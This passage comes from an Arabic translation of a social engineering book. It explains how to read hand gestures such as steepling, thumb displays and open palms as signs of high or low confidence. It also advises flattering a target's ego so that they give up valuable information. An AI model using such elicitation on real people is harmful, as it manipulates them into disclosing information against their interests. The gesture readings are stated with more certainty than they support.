‫ﯾﻌﻧﻲ أﻧﮫ ﻋﻠﻰ اﻟرﻏم ﻣن أن اﻟﺷﺧص ﯾﻌرف ﻣﺎ ﯾﻘوم ﺑﮫ‪ ،‬ﻓﮭو رد ﻓﻌل ﻋﻠﻰ اﻟزﻧﺎد اﻟﻼوﻋﻲ ﻟﺑدء اﻟﺗﻼﻋب‪ .‬ھذا ھو اﻟﻣﻛﺎن اﻟذي ﯾراﻗب ﺧط‬
‫اﻷﺳﺎس وأﯾﺔ ﺗﻐﯾﯾرات ﻋﻠﻰ ﺧط اﻷﺳﺎس ﯾﻣﻛن أن ﺗﺣدث ﻓرﻗﺎ ﻛﺑﯾرا ﻓﻲ ﻓﮭم اﻟﺗﻐﯾﯾرات إﻟﻰ اﻟﻣﺣﺗوى اﻟﻌﺎطﻔﻲ ﺧﻼل اﻟﻣﺣﺎدﺛﺔ‪.‬‬
‫ﻣﻼﺣظﺔ ھذه اﻟﻌﻼﻣﺎت ﯾﻣﻛﻧﮭﺎ إﻋطﺎء اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺳﺎق اﻻﻋﻠﻰ ﻓﻲ اﻻرﺗﺑﺎطﺎت‪ .‬ﻛﻣﺎ أﻧﮭﺎ ﯾﻣﻛن أن ﺗﺳﺎﻋد ﻓﻲ ﺗﺣدﯾد ﻣﺎ إذا ﻛﺎﻧت‬
‫ﺗﺻرﻓﺎﺗك أو ﺧط ﻣن اﻷﺳﺋﻠﺔ ﺗﺳﺑب ﻋدم اﻟراﺣﺔ ﻟﻠﺷﺧص‪.‬‬
‫وﺿﻊ اﻟﯿﺪ ﻋﻨﺪ ارﺗﻔﺎع اﻟﺜﻘﺔ )‪(High-Confidence Hand Displays‬‬
‫ﻛﻣﺎ ذﻛرت ان اﻟﯾدﯾن ھﻲ أدوات ﻣذھﻠﺔ وﻣدھﺷﺔ ﻓﻲ اﻻﺗﺻﺎﻻت‪ .‬ﻛﻣﺎ أﻧﮭﺎ ﯾﻣﻛن أن ﺗﺷﯾر إﻟﻰ ﻋﻧدﻣﺎ ﯾﻛون اﻟﺷﺧص ﯾﺷﻌر ﺑﺎﻟﺛﻘﺔ‪ .‬ﻣﻊ اﻟﻌﻠم ﺑﮭذا‬
‫ھﻲ ﻗوة اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬اﻟﻧﺎس ﯾﺳﺗﻣﺗﻌون ﺑﻘول أﺷﯾﺎء ﺟﯾدة ﻋن أﻧﻔﺳﮭم‪ ،‬ﻟﻣﻧﺎﺷدة ﻏرورھم‪ .‬اﻟﺷﺧﺻﯾﺔ واﺛﻘﺔ ﯾﻣﻛن أن ﺗﺗﺄﺛر ﺑﺎﺳﺗﺧدام‬
‫ﻣﻧﺎﺷدات اﻟذات )ﺗﻔﺧﯾم اﻟﺷﺧص( اﻟﻣﻧﺎﺳﺑﺔ‪ ،‬واﻟﺗﻲ ﯾﻣﻛﻧﮭﺎ ﺑﻧﺎء ﻋﻼﻗﺔ ﺑﺳرﻋﺔ‪ .‬اﻟﺷﺧص ﯾرﯾد اﻟﺣﻔﺎظ ﻋﻠﻰ ھذا اﻟﺷﻌور ﺑﺄي ﺛﻣن‪ ،‬ﺣﺗﻰ اﻟﺗﺧﻠﻲ‬
‫ﻋن ﻣﻌﻠوﻣﺎت ﻗﯾﻣﺔ‪ .‬ﯾذھب اﻟﻘﺳم اﻟﺗﺎﻟﻲ ﻣن ﺧﻼل ﻋرض وﺿﻊ ﻋدد ﻗﻠﯾل ﻣن اﻟﯾد واﻟﺗﻲ ﯾﻣﻛن أن ﺗﺷﯾر إﻟﻰ أن اﻟﺷﺧص ﯾﺷﻌر ﺑﺎﻟﺛﻘﺔ ﺣول‬
‫وﺿﻌﮫ‪ .‬ﺑﻣﺟرد اﻧﮫ ﯾﻣﻛﻧك أن ﺗﻌﻠم أن ﺗرى ھذا ﺑﺳرﻋﺔ وﺑﺷﻛل واﺿﺢ‪ ،‬ﺳوف ﺗﻛون ﻗﺎدرة ﻋﻠﻰ ﺿﺑط اﻟﻧﮭﺞ اﻟﺧﺎص ﺑك‪ ،‬وﻓﺗﺢ ﺧطوط‬
‫ﻟﺗﺗﻧﺎﺳب ﻣﻊ ﻧﻣط اﻻﺗﺻﺎﻻت ﻣﻊ اﻟﻣواﺿﯾﻊ اﻟﺧﺎﺻﺔ ﺑك‪ .‬ھذا ﺳوف ﯾﺳﻣﺢ ﻟك ﺑﺎﻟﺗواﺻل ﻣﻌﮭم ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗرﯾد أن ﺗﺗواﺻل ﺑﮭﺎ‪.‬‬
‫‪The Steeple -‬‬
‫ﺣرﻛﺎت اﻟﯾد ھذه ﺗﺣدث ﻋﻧدﻣﺎ ﯾﻛون اﻟﺷﺧص ﯾﺧﻠﻖ ﻗﺑﺔ )‪ (Steeple‬ﺑﺎﺳﺗﺧدام إﺻﺑﻌﮫ‪ .‬ﯾﻣﻛن أن ﯾﺗم ھذا ﻣﻊ إﺻﺑﻊ واﺣد )ﻋﺎدة ﻣﺎ ﯾﻛون‬
‫اﻟﻣؤﺷر( ﻋﻠﻰ ﻛﻠﺗﺎ اﻟﯾدﯾن أو ﻣﻊ اﻟﯾد ﻛﻠﮭﺎ‪ ،‬ﻛﻣﺎ ھو ﻣوﺿﺢ ﻓﻲ اﻟﺷﻛﻠﯾن اﻟﺗﺎﻟﯾن‪.‬‬

‫ﯾﺑﯾن اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﺟوردن ھﺎﻣﺑرﺟر‪ .‬ﻣن ﺧﻼل ﺷرﻛﺗﮫ‪ ،The Art of Charm ،‬ﯾﻘوم ﺟوردن ﺑﺗﻌﻠﯾم اﻟرﺟﺎل ﻟﯾﻛون ﻟدﯾﮭم اﻟﻣزﯾد ﻣن اﻟﺛﻘﺔ‬
‫وﺗﺣﻘﯾﻖ أھداف ﻣﻌﯾﻧﺔ‪ .‬ﻣوﻗﻔﮫ ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﯾﻘول‪" :‬أﻧﺎ واﺛﻖ‪ ،‬أﻧﺎ ﻗوي‪ ،‬وﯾﺟب أن ﺗﺳﻣﻊ ﻟﻲ"‪.‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪871‬‬

‫ھﻧﺎ ﻟﯾس ﻓﻘط ﯾﻣﻠك ﺟوردن اﻟﺷﻌور ﺑﺎﻟﺛﻘﺔ اﻟﻌﺎﻟﯾﺔ ھﻧﺎ‪ ،‬وﻟﻛﻧﮫ ﯾﻣﯾل إﻟﻰ اﻷﻣﺎم وﯾﻘول اﻧﮫ ﻣﺳﺗﻌد ﻟﺗوﻟﻲ اﻟﻣﺳؤوﻟﯾﺔ‪ ،‬وإﻣﺎﻟﺔ رأﺳﮫ ﺗﻘول اﻧﮫ واﺛﻖ‪.‬‬
‫ھذه اﻹﻣﺎﻟﺔ ﻣن اﻟﻣﮭم أن ﺗﻼﺣظ‪ .‬إذا ﻓﻌﻠت ھذا ﺑﻘوة ﻓﯾﻣﻛن أﯾﺿﺎ أن ﯾظﮭر اﻟﻐﺿب أو ﻧﻔﺎذ اﻟﺻﺑر‪ ،‬وﻟﻛن ﻓﻲ اﻹﻣﺎﻟﺔ اﻟطﻔﯾﻔﺔ ﯾﻣﻛن أن ﺗظﮭر‬
‫ﺑﻌض اﻻھﺗﻣﺎم اﻟﻣﺗزاﯾد وﺣﺗﻰ ﻣﺳﺎﻋدة ﻟﻼﺳﺗﻧﺑﺎط أﻛﺛر‪ .‬ﺟوردن ﻣﺳﻣر ھﻧﺎ وﻟﮫ اﻣﺎﻟﮫ طﻔﯾﻔﺔ ﻓﻲ‪ ،‬وإﻣﺎﻟﺔ اﻟرأس ﺗظﮭر ﻛل اﻻھﺗﻣﺎم واﻟﺛﻘﺔ ﻓﻲ‬
‫ﻧﻔس اﻟوﻗت‪ .‬ھﻧﺎك اﻟﻛﺛﯾر ﻓﻲ ھذه اﻟﺻورة ﯾﺣظﻰ ﺑﺎﺣﺗرام ﺣﯾث ﯾﺣﺎول ﺟوردن اﻟﺑﯾﻊ ھﻧﺎ‪.‬‬
‫ﻓﻲ ﺑﻌض اﻟﺣﺎﻻت‪ ،‬ﯾﺗم اﺳﺗﺧدام ‪ steepling‬ﻛﻌرض إﻗﻠﯾﻣﻲ‪ ،‬ﺣﯾث ﯾﻘول أﺳﺎﺳﺎ‪" ،‬أﻧﺎ واﺛﻖ ﻓﯾﻣﺎ أﻗوﻟﮫ ﻋﻠﻰ اﻟرﻏم ﻣن اﻟﺗﺣدي اﻟﺧﺎص ﺑك‪".‬‬
‫ﻻﺣظ ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﻛﯾف ﯾﻌرض ﻣذﯾﻊ اﻻرﺻﺎد اﻟﺟوﯾﺔ ﺑﯾرﻧﻲ رﯾﺎﻧو ﺣرﻛﺔ اﻟﯾد أﺛﻧﺎء إﺣدى ﻣﻘﺎﺑﻼت اﻟطﻘس اﻟﺧﺎﺻﺔ‪.‬‬

‫ﻣﺎ ﻛﺎن ﻣﺛﯾرا ﻟﻼھﺗﻣﺎم ﺑﺷﻛل ﺧﺎص إزاء ھذه اﻟﻣﻘﺎﺑﻠﺔ أن ﺑﯾرﻧﻲ ﯾظﮭر اﻟﻛﺛﯾر ﻣن اﻟﺿﻐط ﻣن زاوﯾﺔ واﻟﻛﺛﯾر ﻣن اﻟﺗﺣدي‪ ،‬ﻣﻊ زﯾﺎدة ظﮭور‬
‫‪ steeple‬ﻟﮫ‪ .‬ﺑدا ﺑﯾرﻧﻲ اﺳﺗﺟواﺑﮫ ﺣول اﻹﺷﻌﺎع اﻟﺿﺎر اﻟﻣﺣﺗﻣل ﻟﺿرب أﻣرﯾﻛﺎ ﻣن اﻷﺿرار اﻟﻣﺗﻌﻠﻘﺔ ﺑﺗﺳوﻧﺎﻣﻲ ﻓﻲ اﻟﯾﺎﺑﺎن‪ .‬اﻟﻣﻘﺎﺑﻠﺔ ﺿﻐطت‬
‫ﻋﻠﯾﮫ وﺟﻌﻠﺗﮫ ﻣوﺟودا ﻓﻲ زاوﯾﺔ وﺻﺎر ﻋدواﻧﯾﺎ ﺟدا‪ .‬أﻛﺛر ﻋدواﻧﯾﺔ ﺣﺻﻠت‪ ،‬ﻣﻊ ﻋﻠو ‪ steeple‬ﻟﮫ‪ .‬ﻋﻧد ﻧﻘطﺔ واﺣدة ﻛﺎن ‪ steepling‬ﯾﺻل‬
‫إﻟﻰ ﻣﺳﺗوى اﻟﻌﯾن‪ ،‬ﻛﻣﺎ ﯾظﮭر ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ .‬ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻋﻧدﻣﺎ ﯾﺗم ﺗﮭدﯾد اﻷراﺿﻲ أو ﻋﻧد اﻟﺛﻘﺔ اﻟﻛﺑﯾرة‪ ،‬ﯾﻣﻛﻧﻧﺎ أن ﻧرى ان‬
‫‪ steeple‬ﺗﺳﯾر أﻋﻠﻰ وأﻋﻠﻰ ﺣﺗﻰ ﺗﺻﺑﺢ اﻟﯾدﯾن ﺧﻠف اﻟرأس واﻟذراﻋﯾن ﻓﻲ اﻟﺧﺎرج‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟذي ﯾﻠﻲ اﻟﺗﺎﻟﻰ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪872‬‬

‫ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف اﻟﻌرض اﻹﻗﻠﯾﻣﻲ ﺳﯾﻛون ﻛﺑﯾرا ﺑﻣﺎ ﯾﻛﻔﻲ ان اﻻﻣر ﺳﯾﺳﺗﻣر اﻟﻰ اﻟﺷﻛل اﻟذي ﺗراه ﻓﻲ اﻟﺻورة اﻟﺳﺎﺑﻘﺔ‪.‬‬
‫‪Thumb Displays -‬‬
‫ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺗم ﻋرض اﻻﺑﮭﺎم ﻋﻧدﻣﺎ ﯾﺷﻌر اﻟﺷﺧص ﺑﺎﻧﮫ ﻣﮭم‪ ،‬واﺛﻖ‪ ،‬ﻣﺗﺄﻛد ﻣن ذاﺗﮫ أو ﯾرﯾد اﻟﺟﻣﯾﻊ ﻣن ﺣوﻟﮫ ان ﯾﺷﻌر ﺑﺎﻻطﻣﺋﻧﺎن‪ .‬أﺣﯾﺎﻧﺎ ﯾظﮭر‬
‫اﻻﺑﮭﺎم ﻋﻧدﻣﺎ ﯾﻘوم ﺷﺧص ﻣﺎ ﺑﺎﻟﺷﻌور ﺑﺎﻟﺛﻘﺔ أو ﯾرﯾد ﻋرﺿﮫ ﺛﻘﺔ ﻋﺎﻟﯾﺔ‪ .‬ﯾﻣﻛﻧﻧﺎ أن ﻧرى أﻣﺛﻠﺔ ﻋﻠﻰ ذﻟك ﻓﻲ اﻟﺻور اﻟﺗﻲ اﻟﺗﻘطت ﻣن رﺟﺎل‬
‫اﻷﻋﻣﺎل واﻟﻘﺎدة‪ ،‬أو اﻷﺷﺧﺎص اﻟﻣﮭﻣﯾن اﻵﺧرﯾن‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪.‬‬

‫‪Ventral Displays -‬‬

‫ﯾﺷﯾر اﻟﻣﺻطﻠﺢ اﻟﺗﺷرﯾﺣﻲ ‪ Ventral‬إﻟﻰ أﺟزاء اﻟﺟﺳم اﻟﻣوﺟﮭﺔ ﻧﺣو اﻟﺑطن‪ ،‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل اﻟﻣﻧﺎطﻖ اﻟداﺧﻠﯾﺔ ﻣن اﻟذراﻋﯾن واﻟﺳﺎﻗﯾن‪.‬‬
‫ﻋرض ھذه اﻟﻣﻧﺎطﻖ اﻟﺑطﻧﯾﺔ ﺑطرﯾﻘﺔ ﻣﻔﺗوﺣﺔ ﯾﺷﯾر إﻟﻰ أﻧك ﺟدﯾر ﺑﺎﻟﺛﻘﺔ وﺳﮭﻠﺔ اﻟﺗﻌﺎﻣل ﻣﻌﮭﺎ‪.‬‬
‫اﻟﯾد ﯾﻣﻛن ان ﺗﺄﻣر‪ ،‬ﺗطﻠب‪ ،‬أو ﺗدﻋو ﻋﻠﻧﺎ‪ .‬ﻋﻧد اﺳﺗﻌراض اﻟﺻور ﻣن زﻋﻣﺎء اﻟﻣﺎﺿﻲ ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة‪ ،‬وﺟدت أن اﻟرﺋﯾس اﻟﺳﺎﺑﻖ ﺑﯾل‬
‫ﻛﻠﯾﻧﺗون ﯾﺳﺗﺧدم ﻋرض ﯾده اﻟﻣﻔﺗوﺣﺔ‪ .‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ ،‬اﻟﯾد اﻟﻣﻔﺗوﺣﺔ ﺗظﮭر دﻋوة اﻟﻰ اﻟﺷﺧص ﻟﯾﺻﺑﺢ ﺟزءا ﻣن ﻋﺷﯾرﺗك وأن‬
‫ﺗﺷﻌر ﺑﺎﻟراﺣﺔ ﻣﻊ ﻣﺎ ﻧﻘﺗرﺣﮫ‪ .‬ﻋﻧد ﻣزﺟﮫ ﻣﻊ اﻷﻓﻌﺎل اﻟﻐﯾر ﺣﺳﯾﮫ ﻗوﯾﺔ أﺧرى ﻣﺛل ﻣﯾل اﻟرأس واﻻﺑﺗﺳﺎم ﻓﮭﻲ ﻗوة ﻻ ﯾﺳﺗﮭﺎن ﺑﮭﺎ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪873‬‬

‫ﻋﻛس اﻟوﺿﻊ ‪ ventral display‬اﻟﻣﻔﺗوح‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ ،‬ھو ﻋرض اﻟﯾد اﻟﻣﻐﻠﻖ‪ ،‬اﻟﺗﻲ ﺗطﺎﻟب وﻻ ﺗﻔﺗﺢ ﻋﻠﻰ اﻹطﻼق‪.‬‬

‫ﻧرى ﻋﻣوﻣﺎ ھذا اﻟﻌرض ﻋﻧدﻣﺎ ﯾﻘوم ﺷﺧص ﻣﺎ ﺑﺂﻣر اﻵﺧرﯾن‪ ،‬أو ﺗﻘول ﻟﮭم ﻣﺎ ﯾﺟب اﻟﻘﯾﺎم ﺑﮫ ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻋﻧدﻣﺎ ﯾﺗم ﺗوﺑﯾﺦ اﻟﻧﺎس‪،‬‬
‫ﺑﺷﻛل ﻋﺎم‪ ،‬ﻏﯾرھﺎ ﻣن ﻟﻐﺔ اﻟﺟﺳد اﻟﺗﻲ ﺗراﻓﻖ ھذا اﻟﻧوع ﻣن اﻟﻌرض ھو ﺿﯾﻖ وأﻛﺛر ﻋدواﻧﯾﺔ‪.‬‬
‫اﻟﻌرض اﻷﺧﯾر اﻟﻣﻔﺗوح ھﻲ اﻷﺷﯾﺎء ﻣﺛل ارﺗداء اﻟﻘﻣﺻﺎن ﻣﻊ اﻻﻛﻣﺎم اﻟﻣطوﯾﺔ‪ ،‬أو اﻟﻧﺳﺎء ﻣﻊ أﯾدﯾﮭم ﻋﻠﻰ ارداﻓﮭم‪ .‬ھذه ھﻲ ﻣﻣﺎﺛﻠﺔ ﻓﻲ ﻗوﻟﮫ "اﻧﺎ‬
‫ﻣﻧﻔﺗﺢ ﻟﻛم‪ ،‬اﻧﻔﺗﺢ ﻟﻲ‪ ".‬إذا ﻛﻧت ﺗرﻏب ﻓﻲ ﺑﻧﺎء اﻟﺛﻘﺔ واﻷﻟﻔﺔ ﻣﻊ اﻟﻧﺎس ﺑﺳرﻋﺔ‪ ،‬وھذا ھو واﺣد ﻣن اﻷﺷﯾﺎء اﻟﺗﻲ ﯾﺟب ﻣﻣﺎرﺳﺗﮭﺎ‪.‬‬
‫‪Genital Framing -‬‬
‫اﺧر وﺿﻊ ﻟﻠﯾد اﻟﺗﻲ ﺗدل ﻋﻠﻰ اﻟﺛﻘﺔ اﻟﻌﺎﻟﯾﺔ ﺗﺳﻣﻰ ‪ .genital framing‬ﻓﻲ ﺟوھر ھذه اﻟﺣﺎﻟﺔ اﻟﻐﯾر ﻟﻔظﯾﮫ‪" ،‬أﻧﺎ رﺟل ﻣﺗﻌﺎﻓﻲ اﻟﺷﺑﺎب‪ .‬اﻧظر‪،‬‬
‫ھﻧﺎ دﻟﯾل ﻋﻠﻰ ذﻟك‪" .‬اﻟﺷﺧص ﺑﻌﻘد اﻻﺑﮭﺎم ﻣﻊ ﺣﻠﻘﺎت اﻟﺣزام أو اﻟﺟﯾوب‪ ،‬وأﺻﺎﺑﻌﮫ ﺗﺷﯾر إﻟﻰ أﻋﺿﺎﺋﮫ اﻟﺗﻧﺎﺳﻠﯾﺔ‪ .‬ﯾﺑﯾن اﻟﺷﻛل اﻟﺗﺎﻟﻰ اﻟﻣوﻗف‬
‫اﻟطﺑﯾﻌﻲ اﻟذي ﯾﺻﺎﺣب ھذا‪.‬‬

‫ﻋﺮض اﻟﯿﺪ اﻟﺘﻲ ﺗﻈﮭﺮ اﻧﺨﻔﺎض اﻟﺜﻘﺔ واﻻﺟﮭﺎد )‪(Low-Confidence and Stress Hand Displays‬‬
‫ﻣﺛﻠﻣﺎ ﻛﺎﻧت اﻷﯾدي ﯾﻣﻛﻧﮭﺎ أن ﺗﻘول ﻟك أن اﻟﻣوﺿوع اﻟﺧﺎص ﺑك ﯾﺷﻌر ﺑﺷﻌور ﺟﯾد‪ ،‬ﺳﻌﯾد‪ ،‬أو إﯾﺟﺎﺑﻲ‪ ،‬ﻓﮭﯾﺎ أﯾﺿﺎ ﯾﻣﻛﻧﮭﺎ أن ﺗﻘول ﻟﻛم إذا ﻛﺎن‬
‫اﻟﻣوﺿوع اﻟﺧﺎص ﺑك ﯾﺷﻌر ﺑﺷﻌور ﻣﺗدﻧﻲ أو ﻣﺷدود‪ .‬ﺗﻐطﻲ اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﻋدد ﻗﻠﯾل ﻣن ﻛﺛﯾر ﻗد ﺗﻼﺣظﮭﺎ ﻓﻲ اﻟﻧﺎس واﻟﺗﻲ ﺗﻌطﯾك ﺻورة‬
‫أوﺿﺢ ﻟﺣﺎﻟﺗﮭم اﻟﻌﺎطﻔﯾﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪874‬‬

‫‪) Hand Wringing or Rubbing‬ﻓﺮك اﻟﯿﺪﯾﻦ(‬ ‫•‬

‫ﻋﻧدﻣﺎ ﯾﻛون ﺷﺧص ﻣﺎ ھو ﻋﺻﺑﻲ أو ﻏﯾر ﻣرﺗﺎح‪ ،‬ﻓﺈﻧﮫ ﯾﻘﻔل ﯾدﯾﮫ ﺑﺈﺣﻛﺎم‪ ،‬وﺧﻠﻖ ﺗﺄﺛﯾر "‪ ،"white knuckle effect‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل‬
‫اﻟﺗﺎﻟﻲ‪ .‬ﻓﻲ ﺑﻌض اﻻﺣﯾﺎن ﯾﻘوم ﺑﻔرك ﯾدﯾﮫ ﻣﻌﺎ‪ .‬ﯾﻣﻛﻧك أﯾﺿﺎ ﻣراﻗﺑﺔ اﻻﻧزﻋﺎج ﻧﺗﯾﺟﺔ اﻟﺗﻼﻋب ﻓﻲ اﻟﺧواﺗم أو ﻏﯾرھﺎ ﻣن اﻟﻣﺟوھرات‪ .‬ﻋﻼﻣﺎت‬
‫أﺧرى ﯾﻣﻛن أن ﺗﻛون ﺛﺎﺑﺗﺔ ﺗرﻗﻌﮫ اﻷﺻﺎﺑﻊ )‪ (knuckle cracking‬أو اﺳﺗﺧدام اﻟﯾدﯾن ﻟﺧدش‪ ،‬ﻓرك‪ ،‬أو اﻟﺗﻼﻋب ﺑﺎﻟﻣﻼﺑس أو أﺟزاء أﺧرى‬
‫ﻣن اﻟﺟﺳم‪ .‬ﻛل ھذه اﻟدﻻﺋل ﺗﺷﯾر إﻟﻰ ﺣﺎﻟﺔ ﻋﺎطﻔﯾﺔ ﺳﻠﺑﯾﺔ ﻓﻲ اﻟﺷﺧص‪.‬‬

‫‪) Thumb Displays‬ﻋﺮض اﻻﺑﮭﺎم(‬ ‫•‬

‫ﻛﻣﺎ ﯾﻌﻧﻰ ﻋرض اﻻﺑﮭﺎم ﻷﻋﻠﻰ أﻧﮫ أﻣر ﺟﯾد‪ ،‬ﻓﺎن ﻋرض اﻻﺑﮭﺎم ﻷﺳﻔل ﯾﻌﻧﻲ ﺷﻲء ﺳﯾﺊ‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪،‬‬
‫ﻓﻲ ﺣﯾن ان ﻋرض اﻻﺑﮭﺎم ﻷﻋﻠﻰ ﯾﻣﻛن أن ﯾﺷﯾر إﻟﻰ وﺟود اﻟﺛﻘﺔ‪ ،‬ﻓﺎن أﯾﺿﺎ ﻋرﺿﮫ ﻻ ﺳﻔل ﯾﺷﯾر اﻟﻰ اﻧﻌدام اﻟﺛﻘﺔ وﻋدم اﻟراﺣﺔ‪.‬‬

‫ﻻﺣظ ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ ﻛﯾف ﻗد ﺗظﮭر اﻟﯾدﯾن ﻟﺗﻛون ‪) steepling‬ﺣرﻛﺔ اﻟﺛﻘﺔ اﻟﻌﺎﻟﯾﺔ(‪ ،‬وﻟﻛن اﻻﺑﮭﺎم اﻟﻣﺧﻔﻲ ﯾﺷﯾر إﻟﻰ ﺷﻲء ﻣﺧﺗﻠف ﺗﻣﺎﻣﺎ‪.‬‬

‫ﻋﻠﻰ اﻟرﻏم ﻣن أن اﻟﺷﻛل اﻟﺳﺎﺑﻖ ھو ‪ ،steepling‬وﻟﻛﻧﮫ ﯾﺷﯾر اﻟﻰ ﺛﻘﺔ ﻣﻧﺧﻔﺿﮫ ﺟدا ﻷﻧﮫ ﺗم إﺧﻔﺎء اﻻﺑﮭﺎم‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪875‬‬

‫‪) Closed for Confidence‬اﻟﺜﻘﺔ اﻟﻤﻐﻠﻘﺔ(‬ ‫•‬

‫ﻛﻣﺎ ذﻛرت ﺳﺎﺑﻘﺎ‪ ،‬ﻓﺎن اﻷﯾدي ﺗﺷﯾر ﻛﺛﯾرا اﻟﻰ ﺣﺎﻟﺔ اﻟﺷﺧص اﻟﻌﺎطﻔﯾﺔ‪ .‬ﻓﻲ ﺣﯾن أن ﻋﻼﻣﺎت اﻟﯾد اﻟﻌﻠﯾﺎ ﻛﻠﮭﺎ ﺗﺷﯾر إﻟﻰ اﻟﺛﻘﺔ اﻟﻌﺎﻟﯾﺔ‪ ،‬وﻟﻛن ﯾﺟب‬
‫أﺧذ ﻣﻼﺣظﮫ ﺧﺎﺻﮫ إذا ﻋرض اﻟﺷﺧص أﯾدﯾﮫ ﺑطرﯾﻘﮫ ﻣﻐﻠﻘﮫ ﻛﺈﺷﺎرة ﻏﯾر ﻟﻔظﯾﺔ‪.‬‬
‫رﺑﻣﺎ ﻛﺎن اﻟﺷﺧص واﻗﻔﺎ وﯾداه ﺧﻠف ظﮭره أو ﻓﻲ ﺟﯾوﺑﮫ‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ .‬ﺷﺎھد ﻣؤﺷرات أﺧرى‪ ،‬ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن ھذا‬
‫اﻟﻌرض ﯾﻣﻛن أن ﯾﺷﯾر إﻟﻰ اﻧﻌدام اﻟﺛﻘﺔ‪.‬‬

‫ﻋﻠﻰ اﻟرﻏم ﻣن أن ﺑن ﻟدﯾﮫ ﻣوﻗف واﺛﻖ ھﻧﺎ‪ ،‬وﻟﻛﻧﮫ ﯾﺧﺑﺊ ﯾدﯾﮫ واﻟﺗﻲ ﻗد ﺗﺷﯾر إﻟﻰ أﻧﮫ ﻗد ﻻ ﯾﻛون ﻟدﯾﮫ ﺷﻌور ﻗوي ﻛﻣﺎ ﯾﺣﺎول أن ﯾﺻور‪.‬‬
‫ﺑﻌض ﺣرﻛﺎت اﻟﯾد اﻟرﺋﯾﺳﯾﺔ اﻷﺧرى اﻟﺗﻲ ﺗﺷﺎھدھﺎ ﺗﻛون ﻣﺿﻣﻧﮫ ﻓﻲ طرﯾﻘﺔ ﺗﻌﺎﻣل اﻟﺷﺧص ﻣﻊ ﺷﺧص آﺧر‪ .‬اﻹﺷﺎرة ﻓﻲ ﺣرﻛﺔ وﺧز ﺳرﯾﻌﺔ‬
‫ﯾﻣﻛن ان ﺗدل ﻋﻠﻰ ﻧﻔﺎد اﻟﺻﺑر‪ ،‬اﻟﺗرﻛﯾز‪ ،‬أو ﺣﺗﻰ اﻟﻐﺿب‪ .‬ﻓﻲ ﺣﯾن ان اﻹﺷﺎرة ﻣﻊ راﺣﺔ اﻟﯾد ﻷﻋﻠﻰ واﻷﺻﺎﺑﻊ ﻣﻣده ﯾﻣﻛن ﺑﻧﺎء ﻋﻼﻗﺔ وﺗﻌزﯾز‬
‫اﻟﻣﺷﺎﻋر اﻹﯾﺟﺎﺑﯾﺔ ﻓﻲ اﻟﺷﺧص اﻟذي ﺗﺗﺣدث إﻟﯾﮫ‪.‬‬
‫‪) Getting a Handle on the Hands‬اﻟﺘﻌﺎﻣﻞ ﻣﻊ اﻷﯾﺪي(‬

‫ﺣﯾث ﻣن اﻟﻣﺣﺗﻣل ان ﺗﻘول إن ھذه اﻟﻣﻌﻠوﻣﺎت ﻛﺛﯾرة ﻋﻠﻰ ﻷداﺋﮭﺎ‪ ،‬ﻓﻛﯾف ﯾﻣﻛن اﺗﻘﺎن ھذا واﺳﺗﺧداﻣﮫ؟ اﻟﻣﻣﺎرﺳﺔ ﺗﺟﻌل ھذا ﻣﻣﻛﻧﺎ‪ .‬رﺑﻣﺎ ﺑﺷﻛل‬
‫أﻛﺛر دﻗﺔ‪ ،‬ھﻧﺎك ﺷﺧص ﻓﻲ ﻓرﯾﻖ ‪ SEAL Six‬ﻛﺎن ﯾﻘول‪" ،‬اﻟﻣﻣﺎرﺳﺔ اﻟﺟﯾدة ﺗﺟﻌل ﻣن اﻟﺷﻲء اﻟﻛﻣﺎل" ﻧﺣن ﻻ ﻧرﯾد ﻣﻣﺎرﺳﺔ أﺷﯾﺎء ﺧﺎطﺋﺔ‬
